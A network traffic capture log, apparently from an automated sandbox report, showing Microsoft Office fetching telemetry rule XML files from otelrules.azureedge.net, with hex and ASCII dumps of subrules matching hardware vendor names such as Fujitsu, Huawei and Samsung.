2024-10-07 11:26:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:35 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 5a59384b-a01e-0053-3602-178603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112635Z-1657d5bbd48sdh4cyzadbb3748000000036g00000000basq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:35 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49729	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:36 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:36 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: d3d0b776-b01e-003d-1803-17d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112636Z-1657d5bbd4824mj9d6vp65b6n400000003p0000000005nzz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:36 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49730	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:36 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:36 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 09392ef7-101e-0046-3f05-1791b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112636Z-1657d5bbd48xlwdx82gahegw4000000003ng000000006evx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:36 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49731	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:36 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:36 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 20b36261-201e-006e-7102-17bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112636Z-1657d5bbd48sqtlf1huhzuwq70000000033000000000d9xt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49732	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:36 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:36 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f57b7c9f-801e-00a0-4a13-172196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112636Z-1657d5bbd48762wn1qw4s5sd30000000038000000000at9b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:36 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49733	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:36 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:37 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 6b09f5f6-b01e-0053-43a8-18cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112637Z-1657d5bbd48hzllksrq1r6zsvs00000000pg0000000064u1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49734	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:37 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:37 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 6be05283-001e-00a2-2700-17d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112637Z-1657d5bbd48vlsxxpe15ac3q7n00000003bg0000000093m0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:37 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49735	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:37 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:37 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 40323690-a01e-0002-0100-175074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112637Z-1657d5bbd48lknvp09v995n79000000003200000000075gk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:37 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49736	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:37 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:37 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: c530354f-501e-0016-5013-17181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112637Z-1657d5bbd48t66tjar5xuq22r8000000039g00000000e34b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:37 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49737	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:37 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:37 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 7cec3a6f-e01e-0033-3414-174695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112637Z-1657d5bbd48jwrqbupe3ktsx9w00000003k000000000cpvg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:37 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49738	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:37 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: d415a278-e01e-0051-6efe-1684b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112637Z-1657d5bbd48vhs7r2p1ky7cs5w00000003p000000000d6en x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:37 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49740	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:37 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:37 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 10df1352-f01e-00aa-105a-178521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112637Z-1657d5bbd48lknvp09v995n79000000002xg00000000k8fk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:38 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49739	13.107.246.60	443

